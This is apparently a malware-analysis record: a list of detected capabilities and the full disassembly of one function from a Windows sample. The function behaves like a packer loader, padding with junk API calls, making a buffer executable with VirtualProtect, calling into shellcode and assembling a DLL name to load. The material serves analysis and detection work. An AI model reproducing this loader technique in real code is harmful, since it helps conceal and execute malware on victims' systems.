Function at 0x421d80
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x2df0
call fcn.0040cdb0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x44]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e174
jge 0x421db6
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1d96
jle 0x421dd3
cmp ebp, 0xc096a0
je 0x421dd3
cmp dword [esp + 0x98], 0x95f3220
jne 0x421ddc
inc esi
cmp esi, 0x98b86
jl 0x421da6
cmp dword [0x22754b8], 0xcf8
jne 0x421e30
fldz
sub esp, 8
fstp qword [esp]
call fcn.004052a0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405470
fstp st(0)
push 0
push 0
call fcn.00404db1
push 0
push 0
call fcn.00404e1e
push 0
call fcn.0040563e
add esp, 0x1c
push 0
call fcn.0040578d
add esp, 4
push 0
call fcn.00405247
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x421e57
mov eax, 0x5d1
add dword [0x22754b8], eax
cmp dword [0x22754b8], 3
jne 0x421e76
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x204]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x421e44
mov ecx, dword [0x22754b8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x44161c], eax
mov eax, dword [0x22754b8]
xor esi, esi
test eax, eax
je 0x421f4d
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitA]
cmp eax, 0xfe
jne 0x421f1c
push 0
call edi
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x4c]
push ecx
push edx
push edx
lea eax, [esp + 0x20c]
push eax
push edx
mov dword [esp + 0x64], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0x40472c
push 0
call ebp
lea ecx, [esp + 0x68]
xor eax, eax
push ecx
lea edx, [esp + 0x90]
push edx
push 0x404750
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.00421990
mov eax, dword [0x22754b8]
cmp eax, 0x29
jne 0x421f44
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x22754b8]
inc esi
cmp esi, eax
jb 0x421eb4
cmp eax, 0x70
jne 0x421ff2
push 0
lea eax, [esp + 0xa04]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x40473c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x404804
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x1e08]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x204]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x404820
push 0x404854
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x22754b8]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [esp + 0x4c], 0x9682ab
cmp eax, 3
jne 0x42202c
lea ecx, [esp + 0xc0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x22754b8]
cmp eax, 0xdf
jne 0x4221ff
push 0x404894
push 0
push 0
call ebp
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x7c]
push ecx
push edx
push edx
lea eax, [esp + 0x1e0c]
push eax
push edx
mov dword [esp + 0x64], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x4048b0
push 0x4048c4
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
call esi
lea ecx, [esp + 0x58]
push ecx
call edi
mov edx, dword [esp + 0x58]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0xe04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x5c]
push ecx
push 0
lea edx, [esp + 0x70]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x4048e4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x64]
push eax
call edi
lea ecx, [esp + 0x60]
push ecx
push 0x4048f8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x1604]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x404914
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x2604]
push ecx
push 0x40492c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea edx, [esp + 0x204]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0xa04]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.0040a290
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x22754b8]
dec dword [esp + 0x4c]
jne 0x422012
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea ebx, [ebx]
push 0
call edi
push 0
call ebx
dec esi
jne 0x422220
mov edx, dword [0x22754b8]
mov eax, dword [0x44161c]
lea ecx, [esp + 0x54]
push ecx
push 0x40
push edx
push eax
mov byte [0x43c888], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00421bf0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x422260
cmp dword [0x22754b8], 0xba
jne 0x422279
lea ecx, [esp + 0x54]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x42228c
mov eax, 0x27e3
add dword [0x44161c], eax
inc esi
cmp esi, 0x1605a
jl 0x422260
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, 0xf2b8b
cmp dword [0x22754b8], 0x21
jne 0x4222b3
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x4222a0
push 0x43c888
mov dword [0x43c88a], 0x33676d69
mov word [0x43c888], 0x736d
mov dword [0x43c890], 0x6c6c64
mov word [0x43c88e], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x22754b8], 0xc30
jne 0x422360
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push edi
lea edx, [esp + 0x58]
push edx
push edi
lea eax, [esp + 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push edi
lea ecx, [esp + 0x2604]
push ecx
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x6c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret